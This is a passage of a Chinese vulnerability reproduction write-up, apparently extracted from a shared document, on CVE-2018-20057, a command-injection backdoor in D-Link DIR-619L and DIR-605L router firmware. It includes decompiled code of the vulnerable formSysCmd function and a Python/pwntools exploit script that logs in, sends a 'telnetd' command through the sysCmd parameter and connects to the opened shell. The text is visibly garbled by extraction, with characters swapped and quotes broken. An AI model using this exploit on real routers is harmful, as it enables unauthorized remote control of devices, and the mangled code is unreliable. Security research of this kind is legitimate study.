《(CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.docx》由会员分享,可在线阅读,更多相关《(CVE-2018-20057)D-Link DIR-619L&605L 命令注入漏洞.docx(3页珍藏版)》请在第一文库网上搜索。
1、(CVE-2018-20057)D-1inkDIR-6191&6051命令注入漏洞一、漏洞简介D-1INK的D1R-6191Rev.B2.06B1版本之前和DIR-6051Rev.B2.12B1版本之前的设备,在binboa文件的formSysCmd函数存在后门,导致攻击者在身份认证后可以通过访问http:/ip/goform/fOrmSysCmd并指定sysCmd参数,从而实现远程命令注入。固件下载地址:ftp:/本漏洞的路由器运行环境与CVE-2018-20056相同。二、漏洞影响D-1INK的DIR-6191Rev.B2.06B1版本之前和DIR-6051Rev.B2.12B1版本之前的
2、设备。三、复现过程漏洞分析查看ghidra中的反编译代码,在formSysCmd中,首先获取SySCmd参数,然后通过SnPrintf写入栈中变量,直接调用SyStem函数执行该参薪内容。voidformSysCmd(undefined4uParm1)(undefined4uVar1;char*pcVar2;characStack120104;uVar1=WebsGetVar(uParm1jsubmit-ur1i&DAT_004ac874);获取post参数sysCmd,该参数可由用户控制pcVar2=(char*)websGetVar(uParm1j,sysCmdi&DAT004ac874)
3、;if(*pcVar2!=0)/sysCmd写入栈中,并调用system执行snprintf(acStack120100,%s2&1%s”,pcVar2,”tmpSySCmd.1og);system(acStack120);)WebsRedirect(uParm1,uVar1);return;漏洞复现该漏洞是在身份认证成功之后才可实现命令注入,需要先登录输入用户名和口令。由于是在qemu中模拟固件,通过apmib_get读取路由器本地配置无法实现,所以在劫持了apmib_get函数之后,1ogin输入的用户名和密码暂时填为空。在真机上操作时,换成真实的用户名和密码即可。importreques
4、tsimportsysimportstructimportbase64frompwnimport*context(arch=mips,endian=big,1og-1eve1=,debug,)ip=192.168.84.129,port=101defIOgin(USer,password):postData=1ogin-name,:curTime,:1234j,FI1ECODE:,VER-CODE:,VERIFICATION-CODE:,1ogin_n:user,1ogin_pass,:base64.b64encode(password)i)response=requests.post(,ht
5、tp:/+ip+,goformform1ogin,data=postData)#printresponse.ur1defsyscmd(cmd):postData=sysCmd:cmd,submit-ur1,:,1234,i)response=requests.post(,http:/,+ip+,goform/fOrmSysCmdjdata=postData)#printresponse.ur1definter():p=remote(ipjport)p.interactive()if_name_=,_main_,:IOginr,一)危里庭实际的用户名和密码,例如admin12345syscmd(,te1netd-p+str(port)inter()另由于qemu模拟时,dev下没有Pty设备,导致te1net连接不能实现,但是端口是已经打开了: